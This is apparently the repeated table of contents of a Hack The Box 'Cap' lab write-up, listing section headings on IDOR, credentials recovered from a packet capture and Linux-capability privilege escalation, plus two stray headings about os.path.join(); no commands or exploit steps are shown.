The privilege escalation: why os.path.join() isn't a safety net

Closing thought

HTB Cap — IDOR, Plaintext FTP Creds, and the Danger of Linux Capabilities

Recon

Enumeration

The Web App

Testing for IDOR

Foothold

Cracking Open the PCAP

SSH as Nathan

Privilege Escalation

Enumeration

Understanding cap_setuid

Exploitation

Full Attack Chain

Key Takeaways

Tools Used

References

HTB Cap — IDOR, Plaintext FTP Creds, and the Danger of Linux Capabilities

Recon

Enumeration

The Web App

Testing for IDOR

Foothold

Cracking Open the PCAP

SSH as Nathan

Privilege Escalation

Enumeration

Understanding cap_setuid

Exploitation

Full Attack Chain

Key Takeaways

Tools Used

References

The privilege escalation: why `os.path.join()` isn't a safety net